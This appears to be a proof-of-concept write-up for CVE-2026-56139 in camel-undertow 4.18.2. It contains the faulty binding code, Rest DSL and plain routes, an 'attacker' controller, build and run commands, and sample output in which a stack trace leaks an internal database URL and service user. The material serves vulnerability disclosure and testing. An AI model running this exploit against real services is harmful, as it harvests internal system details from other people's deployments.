// UndertowComponent (affected 4.18.2) — the Rest DSL binding is created without the endpoint's muteException
if (!map.containsKey("undertowHttpBinding")) {
    endpoint.setUndertowHttpBinding(new RestUndertowHttpBinding(endpoint.isUseStreaming()));  // muteException stays false
}

// Both configured with muteException=true (camel.component.undertow.mute-exception=true):
restConfiguration().component("undertow").host("0.0.0.0").port(8888);
rest("/api").get("/orders").to("direct:boom");            // Rest DSL — IGNORES muteException, leaks
from("direct:boom").process(new FailingProcessor());

from("undertow:http://0.0.0.0:8889/plain/orders")         // plain endpoint — HONOURS muteException, empty body
    .process(new FailingProcessor());

CVE-2026-56139/
├── pom.xml                 # camel-undertow 4.18.2
├── Dockerfile
├── docker-compose.yml      # single self-contained service
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java
    │   ├── FailingProcessor.java   # throws an exception carrying sensitive internal detail
    │   ├── RestRoutes.java         # undertow Rest DSL (:8888) + plain undertow endpoint (:8889)
    │   └── ExploitController.java  # attacker: GETs both, shows Rest DSL leaks while plain is muted
    └── resources/
        └── application.properties  # camel.component.undertow.mute-exception=true

mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker compose down

1) undertow Rest DSL :8888  (muteException=true, but the Rest binding hard-codes false)
     HTTP 500
     response body (NNNN bytes) — LEAKS internal detail:
       | java.lang.IllegalStateException: Inventory lookup failed: cannot connect to
       |   jdbc:postgresql://prod-db.internal:5432/inventory (user=svc_inventory, ...)
       | 	at com.example.FailingProcessor.process(FailingProcessor.java:...)
       | 	...[truncated]

2) plain undertow endpoint :8889  (same muteException=true — honoured)
     HTTP 500
     response body: <empty>

>>> Information disclosure: true